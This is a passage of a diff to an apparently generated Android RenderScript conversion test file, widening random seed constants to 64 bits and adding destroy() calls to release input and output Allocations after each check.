             scriptRelaxed.forEach_testConvertUint4Ushort4Uint4(inV, out);
             verifyResultsConvertUshort4Uint4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint4Ushort4Uint4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUshort4Uint4(Allocation inV, Allocation out, boolean relaxed) {
@@ -9887,11 +10317,12 @@
     }
 
     private void checkConvertInt2Uint2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 2, 0x4f178a9fl, false, 31);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 2, 0xd74f55bc4f178a9fl, false, 31);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 2), INPUTSIZE);
             script.forEach_testConvertUint2Int2Uint2(inV, out);
             verifyResultsConvertInt2Uint2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint2Int2Uint2: " + e.toString());
         }
@@ -9899,9 +10330,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUint2Int2Uint2(inV, out);
             verifyResultsConvertInt2Uint2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint2Int2Uint2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertInt2Uint2(Allocation inV, Allocation out, boolean relaxed) {
@@ -9955,11 +10388,12 @@
     }
 
     private void checkConvertInt3Uint3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 3, 0xae1f4f93l, false, 31);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 3, 0xd74f605dae1f4f93l, false, 31);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 3), INPUTSIZE);
             script.forEach_testConvertUint3Int3Uint3(inV, out);
             verifyResultsConvertInt3Uint3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint3Int3Uint3: " + e.toString());
         }
@@ -9967,9 +10401,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUint3Int3Uint3(inV, out);
             verifyResultsConvertInt3Uint3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint3Int3Uint3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertInt3Uint3(Allocation inV, Allocation out, boolean relaxed) {
@@ -10023,11 +10459,12 @@
     }
 
     private void checkConvertInt4Uint4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 4, 0xd271487l, false, 31);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 4, 0xd74f6aff0d271487l, false, 31);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 4), INPUTSIZE);
             script.forEach_testConvertUint4Int4Uint4(inV, out);
             verifyResultsConvertInt4Uint4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint4Int4Uint4: " + e.toString());
         }
@@ -10035,9 +10472,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUint4Int4Uint4(inV, out);
             verifyResultsConvertInt4Uint4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint4Int4Uint4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertInt4Uint4(Allocation inV, Allocation out, boolean relaxed) {
@@ -10096,11 +10535,12 @@
     }
 
     private void checkConvertUint2Uint2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0x4c8baea2l, false, 32);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0xe71d0ca64c8baea2l, false, 32);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 2), INPUTSIZE);
             script.forEach_testConvertUint2Uint2Uint2(inV, out);
             verifyResultsConvertUint2Uint2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint2Uint2Uint2: " + e.toString());
         }
@@ -10108,9 +10548,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUint2Uint2Uint2(inV, out);
             verifyResultsConvertUint2Uint2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint2Uint2Uint2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUint2Uint2(Allocation inV, Allocation out, boolean relaxed) {
@@ -10164,11 +10606,12 @@
     }
 
     private void checkConvertUint3Uint3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0xab937396l, false, 32);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0xe71d1747ab937396l, false, 32);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 3), INPUTSIZE);
             script.forEach_testConvertUint3Uint3Uint3(inV, out);
             verifyResultsConvertUint3Uint3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint3Uint3Uint3: " + e.toString());
         }
@@ -10176,9 +10619,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUint3Uint3Uint3(inV, out);
             verifyResultsConvertUint3Uint3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint3Uint3Uint3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUint3Uint3(Allocation inV, Allocation out, boolean relaxed) {
@@ -10232,11 +10677,12 @@
     }
 
     private void checkConvertUint4Uint4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0xa9b388al, false, 32);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0xe71d21e90a9b388al, false, 32);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 4), INPUTSIZE);
             script.forEach_testConvertUint4Uint4Uint4(inV, out);
             verifyResultsConvertUint4Uint4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint4Uint4Uint4: " + e.toString());
         }
@@ -10244,9 +10690,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUint4Uint4Uint4(inV, out);
             verifyResultsConvertUint4Uint4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint4Uint4Uint4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUint4Uint4(Allocation inV, Allocation out, boolean relaxed) {
@@ -10305,11 +10753,12 @@
     }
 
     private void checkConvertDouble2Double2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 2, 0x3902786el, -8.5390423905960001625e+307, 8.5390423905960001625e+307);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 2, 0x345b4a823902786el, -8.5390423905960001625e+307, 8.5390423905960001625e+307);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 2), INPUTSIZE);
             script.forEach_testConvertDouble2Double2Double2(inV, out);
             verifyResultsConvertDouble2Double2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble2Double2Double2: " + e.toString());
         }
@@ -10317,9 +10766,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertDouble2Double2Double2(inV, out);
             verifyResultsConvertDouble2Double2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble2Double2Double2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertDouble2Double2(Allocation inV, Allocation out, boolean relaxed) {
@@ -10374,11 +10825,12 @@
     }
 
     private void checkConvertDouble3Double3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 3, 0x8f5e099al, -8.5390423905960001625e+307, 8.5390423905960001625e+307);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 3, 0x34a812098f5e099al, -8.5390423905960001625e+307, 8.5390423905960001625e+307);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 3), INPUTSIZE);
             script.forEach_testConvertDouble3Double3Double3(inV, out);
             verifyResultsConvertDouble3Double3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble3Double3Double3: " + e.toString());
         }
@@ -10386,9 +10838,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertDouble3Double3Double3(inV, out);
             verifyResultsConvertDouble3Double3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble3Double3Double3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertDouble3Double3(Allocation inV, Allocation out, boolean relaxed) {
@@ -10443,11 +10897,12 @@
     }
 
     private void checkConvertDouble4Double4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 4, 0xe5b99ac6l, -8.5390423905960001625e+307, 8.5390423905960001625e+307);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 4, 0x34f4d990e5b99ac6l, -8.5390423905960001625e+307, 8.5390423905960001625e+307);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 4), INPUTSIZE);
             script.forEach_testConvertDouble4Double4Double4(inV, out);
             verifyResultsConvertDouble4Double4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble4Double4Double4: " + e.toString());
         }
@@ -10455,9 +10910,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertDouble4Double4Double4(inV, out);
             verifyResultsConvertDouble4Double4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble4Double4Double4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertDouble4Double4(Allocation inV, Allocation out, boolean relaxed) {
@@ -10517,11 +10974,12 @@
     }
 
     private void checkConvertLong2Double2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 2, 0x4c70299bl, true, 63);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 2, 0x7b7807124c70299bl, true, 63);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 2), INPUTSIZE);
             script.forEach_testConvertDouble2Long2Double2(inV, out);
             verifyResultsConvertLong2Double2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble2Long2Double2: " + e.toString());
         }
@@ -10529,9 +10987,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertDouble2Long2Double2(inV, out);
             verifyResultsConvertLong2Double2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble2Long2Double2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertLong2Double2(Allocation inV, Allocation out, boolean relaxed) {
@@ -10586,11 +11046,12 @@
     }
 
     private void checkConvertLong3Double3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 3, 0xa2cbbac7l, true, 63);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 3, 0x7bc4ce99a2cbbac7l, true, 63);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 3), INPUTSIZE);
             script.forEach_testConvertDouble3Long3Double3(inV, out);
             verifyResultsConvertLong3Double3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble3Long3Double3: " + e.toString());
         }
@@ -10598,9 +11059,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertDouble3Long3Double3(inV, out);
             verifyResultsConvertLong3Double3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble3Long3Double3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertLong3Double3(Allocation inV, Allocation out, boolean relaxed) {
@@ -10655,11 +11118,12 @@
     }
 
     private void checkConvertLong4Double4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 4, 0xf9274bf3l, true, 63);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 4, 0x7c119620f9274bf3l, true, 63);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 4), INPUTSIZE);
             script.forEach_testConvertDouble4Long4Double4(inV, out);
             verifyResultsConvertLong4Double4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble4Long4Double4: " + e.toString());
         }
@@ -10667,9 +11131,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertDouble4Long4Double4(inV, out);
             verifyResultsConvertLong4Double4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble4Long4Double4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertLong4Double4(Allocation inV, Allocation out, boolean relaxed) {
@@ -10729,11 +11195,12 @@
     }
 
     private void checkConvertUlong2Double2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 2, 0x79bc7954l, false, 64);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 2, 0xaa17685979bc7954l, false, 64);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 2), INPUTSIZE);
             script.forEach_testConvertDouble2Ulong2Double2(inV, out);
             verifyResultsConvertUlong2Double2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble2Ulong2Double2: " + e.toString());
         }
@@ -10741,9 +11208,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertDouble2Ulong2Double2(inV, out);
             verifyResultsConvertUlong2Double2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble2Ulong2Double2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUlong2Double2(Allocation inV, Allocation out, boolean relaxed) {
@@ -10798,11 +11267,12 @@
     }
 
     private void checkConvertUlong3Double3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 3, 0xd0180a80l, false, 64);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 3, 0xaa642fe0d0180a80l, false, 64);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 3), INPUTSIZE);
             script.forEach_testConvertDouble3Ulong3Double3(inV, out);
             verifyResultsConvertUlong3Double3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble3Ulong3Double3: " + e.toString());
         }
@@ -10810,9 +11280,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertDouble3Ulong3Double3(inV, out);
             verifyResultsConvertUlong3Double3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble3Ulong3Double3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUlong3Double3(Allocation inV, Allocation out, boolean relaxed) {
@@ -10867,11 +11339,12 @@
     }
 
     private void checkConvertUlong4Double4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 4, 0x26739bacl, false, 64);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 4, 0xaab0f76826739bacl, false, 64);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 4), INPUTSIZE);
             script.forEach_testConvertDouble4Ulong4Double4(inV, out);
             verifyResultsConvertUlong4Double4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble4Ulong4Double4: " + e.toString());
         }
@@ -10879,9 +11352,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertDouble4Ulong4Double4(inV, out);
             verifyResultsConvertUlong4Double4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble4Ulong4Double4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUlong4Double4(Allocation inV, Allocation out, boolean relaxed) {
@@ -10941,11 +11416,12 @@
     }
 
     private void checkConvertDouble2Long2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 2, 0x430cbe95l, -9.2233720368547747840e+18, 9.2233720368547747840e+18);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 2, 0xcbf84dc0430cbe95l, -9.2233720368547747840e+18, 9.2233720368547747840e+18);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 2), INPUTSIZE);
             script.forEach_testConvertLong2Double2Long2(inV, out);
             verifyResultsConvertDouble2Long2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong2Double2Long2: " + e.toString());
         }
@@ -10953,9 +11429,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertLong2Double2Long2(inV, out);
             verifyResultsConvertDouble2Long2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong2Double2Long2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertDouble2Long2(Allocation inV, Allocation out, boolean relaxed) {
@@ -11009,11 +11487,12 @@
     }
 
     private void checkConvertDouble3Long3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 3, 0xa2148389l, -9.2233720368547747840e+18, 9.2233720368547747840e+18);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 3, 0xcbf85861a2148389l, -9.2233720368547747840e+18, 9.2233720368547747840e+18);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 3), INPUTSIZE);
             script.forEach_testConvertLong3Double3Long3(inV, out);
             verifyResultsConvertDouble3Long3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong3Double3Long3: " + e.toString());
         }
@@ -11021,9 +11500,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertLong3Double3Long3(inV, out);
             verifyResultsConvertDouble3Long3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong3Double3Long3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertDouble3Long3(Allocation inV, Allocation out, boolean relaxed) {
@@ -11077,11 +11558,12 @@
     }
 
     private void checkConvertDouble4Long4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 4, 0x11c487dl, -9.2233720368547747840e+18, 9.2233720368547747840e+18);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 4, 0xcbf86303011c487dl, -9.2233720368547747840e+18, 9.2233720368547747840e+18);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 4), INPUTSIZE);
             script.forEach_testConvertLong4Double4Long4(inV, out);
             verifyResultsConvertDouble4Long4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong4Double4Long4: " + e.toString());
         }
@@ -11089,9 +11571,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertLong4Double4Long4(inV, out);
             verifyResultsConvertDouble4Long4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong4Double4Long4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertDouble4Long4(Allocation inV, Allocation out, boolean relaxed) {
@@ -11150,11 +11634,12 @@
     }
 
     private void checkConvertLong2Long2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 2, 0xc81d242al, true, 63);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 2, 0xb570c607c81d242al, true, 63);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 2), INPUTSIZE);
             script.forEach_testConvertLong2Long2Long2(inV, out);
             verifyResultsConvertLong2Long2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong2Long2Long2: " + e.toString());
         }
@@ -11162,9 +11647,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertLong2Long2Long2(inV, out);
             verifyResultsConvertLong2Long2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong2Long2Long2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertLong2Long2(Allocation inV, Allocation out, boolean relaxed) {
@@ -11218,11 +11705,12 @@
     }
 
     private void checkConvertLong3Long3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 3, 0x2724e91el, true, 63);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 3, 0xb570d0a92724e91el, true, 63);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 3), INPUTSIZE);
             script.forEach_testConvertLong3Long3Long3(inV, out);
             verifyResultsConvertLong3Long3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong3Long3Long3: " + e.toString());
         }
@@ -11230,9 +11718,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertLong3Long3Long3(inV, out);
             verifyResultsConvertLong3Long3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong3Long3Long3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertLong3Long3(Allocation inV, Allocation out, boolean relaxed) {
@@ -11286,11 +11776,12 @@
     }
 
     private void checkConvertLong4Long4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 4, 0x862cae12l, true, 63);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 4, 0xb570db4a862cae12l, true, 63);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 4), INPUTSIZE);
             script.forEach_testConvertLong4Long4Long4(inV, out);
             verifyResultsConvertLong4Long4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong4Long4Long4: " + e.toString());
         }
@@ -11298,9 +11789,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertLong4Long4Long4(inV, out);
             verifyResultsConvertLong4Long4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong4Long4Long4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertLong4Long4(Allocation inV, Allocation out, boolean relaxed) {
@@ -11359,11 +11852,12 @@
     }
 
     private void checkConvertUlong2Long2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 2, 0x5a9f30abl, false, 63);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 2, 0x5cfe7f555a9f30abl, false, 63);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 2), INPUTSIZE);
             script.forEach_testConvertLong2Ulong2Long2(inV, out);
             verifyResultsConvertUlong2Long2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong2Ulong2Long2: " + e.toString());
         }
@@ -11371,9 +11865,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertLong2Ulong2Long2(inV, out);
             verifyResultsConvertUlong2Long2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong2Ulong2Long2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUlong2Long2(Allocation inV, Allocation out, boolean relaxed) {
@@ -11427,11 +11923,12 @@
     }
 
     private void checkConvertUlong3Long3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 3, 0xb9a6f59fl, false, 63);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 3, 0x5cfe89f6b9a6f59fl, false, 63);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 3), INPUTSIZE);
             script.forEach_testConvertLong3Ulong3Long3(inV, out);
             verifyResultsConvertUlong3Long3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong3Ulong3Long3: " + e.toString());
         }
@@ -11439,9 +11936,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertLong3Ulong3Long3(inV, out);
             verifyResultsConvertUlong3Long3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong3Ulong3Long3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUlong3Long3(Allocation inV, Allocation out, boolean relaxed) {
@@ -11495,11 +11994,12 @@
     }
 
     private void checkConvertUlong4Long4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 4, 0x18aeba93l, false, 63);
